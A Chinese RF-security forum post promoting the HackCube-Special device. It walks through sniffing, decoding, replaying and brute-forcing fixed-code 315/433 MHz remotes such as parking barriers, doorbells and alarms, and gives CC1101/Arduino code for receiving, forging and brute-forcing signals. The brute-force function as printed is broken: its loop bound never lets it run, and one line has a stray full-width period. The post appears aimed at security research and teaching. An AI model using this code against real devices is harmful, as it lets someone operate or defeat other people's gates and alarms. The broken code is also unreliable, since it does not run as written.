立即注册

RadioHack 同频共振  同质相吸

查看: 2656|回复: 0

[案例]使用 HackCube-Special 分析固定码信号

[复制链接]

22

主题

56

帖子

530

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
530
发表于 2018-12-7 15:32:37 | 显示全部楼层 |阅读模式
HackCube-Special 是什么?
HackCube-Special 在我们做无线安全研究的工作中,常常在户外环境中对一些设备进行安全检测,需要抱着电脑,连接无线设备,蹲着或者坐在地上,总是吸引不少人的眼球,十分尴尬。于是我们希望打造一款小巧的设备,只需要把它装进口袋,通过手机或者平板电脑,就能特别方便的对这些设备进行安全审计。这就是我们做HackCube-Special的初衷。HackCube-Special是一款低成本,便携式,可工作在多个无线射频频段的无线电安全审计平台。我们会给HackCube-Special提供丰富的案例,方便初学者能够更好的了解无线电安全领域。使用HackCube-Special研究固定码遥控的安全风险
目标设备我们先来看看有哪些设备在使用固定码遥控信号吧。通常在生活中比较常见的有那些呢,像平时停⻋场⽤的的抬杠啊,或者是家庭常⻅的⽆线⻔铃⽤的就是这种芯⽚ 还有说烟雾报警器或者⻔磁报警器,然后在我写文章时候⼀位不肯透漏姓名的雪碧0xroot同学告诉我,某个⼥性⽤的⽆线情趣⽤品⽤的也是这种⽅案的然后还有我们电瓶⻋啊,投影屏遥控⽤可能就是这些芯⽚,然后我们来看看这中间存在与什么的安全风险吧。频点信息
这些设备通常工作在315MHz,433MHz。极个别会工作在868MHz,915MHz这几个频点上,基本上都采用ASK调制方式,可以通过晶振,FCC ID来确定设备的工作频点信息。固定码遥控信号的构成
上面两张图,是我们采集的两款常见的无线遥控模块发出的信号。信号分别是同步引导码,地址位和数据位,最后⼀个就是停⽌码,停止码没有特别的用处只是为了结束程序⽤的。这⾥有两段信号,后⾯会讲下这两种信号的区别,这两种相⽐于其他的更为常⻅,先来看下这个同步码,这个同步码处于信号的最前端,⽤于告诉接收端有信号过来准备接收⽤的,接收同步引导码程序才开始解码,没有则继续等待,但在后⾯的写爆破程序中发现,其实可以吧这段同步码给忽略掉并不会对控制有什么影响,并且还能给爆破省下不少时间。同步码后有⼀⼤串的空⽩时间,这个时间的作⽤是为了让发射端和接收端同步时钟⽤的。信号脉冲
信号脉冲的宽度跟电压,震荡电阻是有关系的。我们可以算出信号的震荡周期(a=两倍的时钟震荡周期) f=2100016/Rosc(kΩ) kHz 其中Rosc为振荡电阻我们来看下这两种信号的区别,第⼀种信号吧Bit1相当于12A宽度的⾼电平脉冲加4A宽度低电平的脉冲重复⼀次,⽽BIt0⽽正好相反是4a⾼在是12a的低重复⼀次。然后说下BitF,BitF只会出现在地址位⾥⾯,代表该地址位引脚悬空,后⾯会提到,⽽⽆效码则不可能出现在2262这种协议中,如果出现了只能表⽰这个信号是2240的。现在来说下第⼆种信号格式第⼆种与第⼀种不同,⾮常明显能看出来第⼀种是吧⼀段信号重复了两次来表⽰BIT1和BIT0,并且有三种表⽰⽅式。第⼆种呢就是12A宽度的⾼电平脉冲信号加上4A的低电平宽度脉冲信号就是BIT1,相反的就是BIT0,并且不像第⼀种那样数据有3种表⽰⽅式。地址码
先来看下遥控模块的硬件到底⻓什么样,第⼀种的银⾊是晶体振荡器⼀般会把频率直接写在上⾯,然后下⾯那个就是PT2262编码IC。看完正⾯来看下遥控的背⾯,下⾯的就是地址码的编码部分了。H字⺟就HIGH的缩写代表⾼电平信号,⼀般是电源,然后L呢就是LOW的缩写代表低电平的信号,⼀般是GND。然后就是8位的地址码,然后可以⾃定义引脚,引脚接⾼电平当信号发射时该位就出现上⾯提到的Bit1,然后该引脚接地就是低电平信号就出现Bit0。如果像图上那样什么都不接的话,就会出现BitF,因为只有这三种表⽰的状态所以才不会出现⽆效码!然⽽第⼆种呢,地址码是出⼚时预烧录的,⽤⼾是没有办法⾃设的,这点需要注意。然后来看下这两种最⼤的区别,第⼀种地址码位8Bit,但是有3种表⽰状态。⽽第⼆种地址码有20Bit只有2种表⽰状态,算下3的8次⽅等于6561,就是⽣产出这么多个设备后就会出现重复的遥控地址码了。然后是第⼆种,2的20次⽅等于1048576,要⽣产出⼀百多万个后才会出现重复的遥控地址码。还有⼀个很重要的点就是第⼀种通过爆破地址码来控制设备只要⼗⼏分钟的时间甚⾄更少,第⼆种通过爆破地址码的⽅式来操控设备则需要⼏⼗个⼩时的时间。但这两种都属于固定码,只要监听到⼀次信号就能够复制信号了。
然后我们就可以用软件无线电对这个遥控进行解码了,这个就是解码后的数据了,但是这种解码的方式特别费时间。嗅探数据
如何去接收这类遥控射频信号呢?我们可以使用这个CC1101模块然后让其工作在异步模式下去接收这个遥控的信号。
  1. #include "cc1101.h"
  2. CC1101 cc1101;
  3. //参考datasheet写的一个设置工作射频频率的函数,可以使用SmartRF Studio计算得出
  4. void setfreqx(unsigned long int freq) {
  5.   unsigned long freqnum = freq / 396.734569;
  6.   byte freqx[3];
  7.   freqx[0] = freqnum;
  8.   freqx[1] = freqnum >> 8;
  9.   freqx[2] = freqnum >> 16;
  10.   cc1101.writeReg(CC1101_FREQ2, freqx[2]);
  11.   cc1101.writeReg(CC1101_FREQ1, freqx[1]);
  12.   cc1101.writeReg(CC1101_FREQ0, freqx[0]);
  13. }
  14. //CC1101 射频芯片初始化函数
  15. void cc1101_config() {
  16.   cc1101.SS_PIN = 10; //定义CC1101 片选引脚
  17.   cc1101.init(); //初始化函数,配置我们在库中定义好的射频参数
  18.   setfreqx(315000000); //设置中心频率
  19.   cc1101.disableAddressCheck();
  20.   cc1101.writeReg(CC1101_IOCFG2, 0x0d);//配置成异步模式
  21.   cc1101.writeReg(CC1101_MDMCFG4, 0xF7);//配置接收速率
  22.   cc1101.writeReg(CC1101_MDMCFG3, 0x93);//配置接收速率
  23.   //cc1101.writeReg(CC1101_AGCCTRL2, 0xB0);//配置门限值
  24.   cc1101.cmdStrobe(CC1101_SRX); //进入RX接收数据状态
  25. }
复制代码

将 CC1101 射频模块进行配置成异步模式。
上面这个是采集到的原始的射频数据,而下面这个就是CC1101的GDO2 引脚的波形信号,也就是解调ASK后的数据,然后可以通过这个去解码数据内容。然后我们来说说如何去解码这个数据,一般解码这个数据分为两种方式一种是使用中断去将数据接收下,另外一种是通过轮询引脚方式待会详细讲讲这两种的区别吧,还有其他方式会用定时器去捕获,但是这种方式用的比较少。
刚刚说到上面这一栏就是经过cc1101射频芯片ASK后的数据解调后的输出,而信号数据下面一栏就是采用CHANGE类型中断触发的脉冲信号,每次上面的数据信号发生脉冲变化时候(高电平->低电平/低电平->高电平)就会进入到我们的中断函数中。
  1. attachInterrupt(interrupt, ISR, mode);
  2. interrupt 中断号
  3. ISR 中断调用的函数
  4. mode 中断触发类型
  5. LOW 低电平触发
  6. CHANGE 电平变化触发
  7. RISING 上升沿触发(由LOW变为HIGH)
  8. FALLING 下降沿触发(由HIGH变为LOW)
复制代码

我们来看看这个attachInterrupt中断函数,首先是中断引脚,这里我们用的是atmega32u4单片机,板子只有2,3两个中断引脚,对应就是0,1两个中断号,把CC1101的GDO2接到单片机的2号引脚。设置0中断号进行触发,而ISR这是触发中断后进入的函数。我这里是使用了RCSwitch的库函数。不必要重复造轮子。

  1. <blockquote>Decimal: 96857 (24Bit) Binary: 000000010111101001011001 Tri-State: not applicable PulseLength: 272 microseconds Protocol: 1
复制代码
我们只要在ISR函数中根据上次中断触发的时间进行计时,就能得到每个脉冲持续的时间。
我们只需要根据脉冲时间就能够解出信号数据,000000010111101001011001就是我们脉冲所传输的二进制数据,转成十进制就是96857(HEX:17A59),其中的功能码为9。所谓固定码就是这个地址码是固定的,每一次发送的数据除了功能码都是一样的,只要我们嗅探到遥控模块的地址码就能够这对这个设备进行攻击测试了。
然后在HackCube-Special后台列表中就能发现信号。伪造信号
刚刚提到了我们使用CC1101,使其工作在异步模式中,GDO2是数据输出引脚,如果我们要发射信号的话,我们需要用到cc1101的GDO0引脚作为发射信号的数据输入引脚。
  1. void Fixed_Config() {
  2.   cc1101.SS_PIN = 10; //定义CC1101 片选引脚
  3.   cc1101.init(); //初始化函数,配置我们在库中定义好的射频参数
  4.   setfreqx(315000000); //设置中心频率
  5.   cc1101.cmdStrobe(CC1101_STX);//设置工作模式为"STX"发射模式
  6.   cc1101.writeReg(CC1101_IOCFG2, 0x0d);//设置为异步模式
  7. }
复制代码


和刚刚接收使用的配置类似,只需要将CC1101设置为STX状态即可。

  1. // Fixed_Transmitpin = CC1101_GDO0
  2. ______________
  3. |              |_____|XXXXXXXXXXXXX|   
  4.    915us        305us
  5. void Fixed_Bit1() {
  6.   digitalWrite(Fixed_Transmitpin, HIGH);
  7.   delayMicroseconds(915);
  8.   digitalWrite(Fixed_Transmitpin, LOW);
  9.   delayMicroseconds(305);
  10.   digitalWrite(Fixed_Transmitpin, LOW);
  11. }

  12. _____
  13. |    |______________|XXXXXXXXXXXXX|
  14. 305us        915us
  15. void Fixed_Bit0() {
  16.   digitalWrite(Fixed_Transmitpin, HIGH);
  17.   delayMicroseconds(305);
  18.   digitalWrite(Fixed_Transmitpin, LOW);
  19.   delayMicroseconds(915);
  20.   digitalWrite(Fixed_Transmitpin, LOW);
  21. }
  22. void Class2_Transmit(unsigned long data, int Func) {
  23.   // data = 地址码
  24.   // fnc = 功能码
  25.   for (int a = 20; a > 0; a--) { // 产生地址码波形 20 bit
  26.     if (data >> a - 1 & 1 == 1) {
  27.       Fixed_Bit1();
  28.     } else {
  29.       Fixed_Bit0();
  30.     }
  31.   }
  32.   for (int l = 4; l > 0; l--) { // 产生功能码波形 4 bit
  33.     if (Func >> l - 1 & 1 == 1) {
  34.       Fixed_Bit1();
  35.     } else {
  36.       Fixed_Bit0();
  37.     }
  38.   }
  39.   Fixed_Bit0(); //产生停止码
  40. }
复制代码

我们以伪造第二种固定码协议举例。Fixed_Transmitpin接的是CC1101的GDO0引脚,根据输入的data,func在GDO0产生出对应的电平信号,然后再由cc1101进行ASK将数据发射出来就可以了。
我们HackCube-Special也封装好了函数,只需要填入所需要发射的数据就可以了。爆破固定码之前我们有提到一共有两种固定码的协议一种是3^8,另外一种2^20,前一种可以通过焊盘进行改变的,而另外一种则是出厂就固定了无法进行更改,但是我们在没有嗅探到信号的情况下怎么对这种设备进行攻击呢?我们只要爆破这个地址码就可以了。第一种3^8有6561种可能性,8424us(同步码)+30500us(数据位)+12000(间隔时间)*4(重复次数),一共需要1336.449456秒,大概需要22分钟左右,但是在测试中发现同步码可以省去,并且可以把重复次数减少到1次,那么只需要4.64分钟就可以将3^8固定码跑完。
  1. void Class1_Attack() {
  2.   Fixed_Config_Class1();
  3.   cc1101。PrintConfig();
  4.   pinMode(RF_GDO0, OUTPUT);
  5.   unsigned int EndNum = 0x0;
  6.   unsigned int SerialNum = 0x5406;
  7.   //Class 1 8Bit的地址码类型 爆破函数
  8.   //SerialNum 开始爆破地址码
  9.   //EndNum 结束地址码
  10.   while (SerialNum < EndNum) { //循环爆破地址码范围
  11.       for (int i = 0; i < 8 ; ++i) { //循环8个Bit
  12.         if ((3 << (i * 2)&SerialNum) >> (i * 2) == 2 )//判断是否有之前提到的无效码
  13.           SerialNum = SerialNum + (1 << (i * 2));//出现无效码就序列号+1 跳过
  14.       }
  15.       for (int i = 0; i < 2; i++) { //数据重复发送两次
  16.         Class1_Transmit(SerialNum);//调用发射函数
  17.         delay(12);//发射延迟
  18.       }
  19.       SerialNum = SerialNum + 1;//序列递增
  20.   }
  21. }
复制代码

上面这段就是爆破3^8地址码的代码。总结在Freebuf这个平台上,已经有十篇左右对固定码进行分析的文章,使用到各种软件无线电软件,Gnuradio,Inspectrum,audacity,rtl_433。各种硬件,电视棒,HackRF,USRP,逻辑分析仪,超再生模块,EZ430,树莓派,Arduino单片机。这些方法都比较繁琐。但现在我们可以使用一个HackCube-Special就能够进行这样的研究分析。从以上分析可以看出,固定码遥控的安全风险是比较高的,很容易攻击成功。原因是这类无线遥控设备本身的价值就不高,若在安全方面增加太多成本,例如使用滚动码或者双向交互式认证,产品价格是难以承受的。在安全与成本之间,找到恰当的平衡点,是一个永恒的问题。以上方法(代码)带有一定攻击性,仅供安全研究之用,读者请勿做其他用途。我们的硬件产品预计会在12月份月底左右上线,在我们社区上提交质量不错的文章是有机会拿到第一时间产品的哟,有任何问题的欢迎在社区上与我们交流。

演示视频


参考链接









回复

使用道具 举报

快速回复 返回顶部 返回列表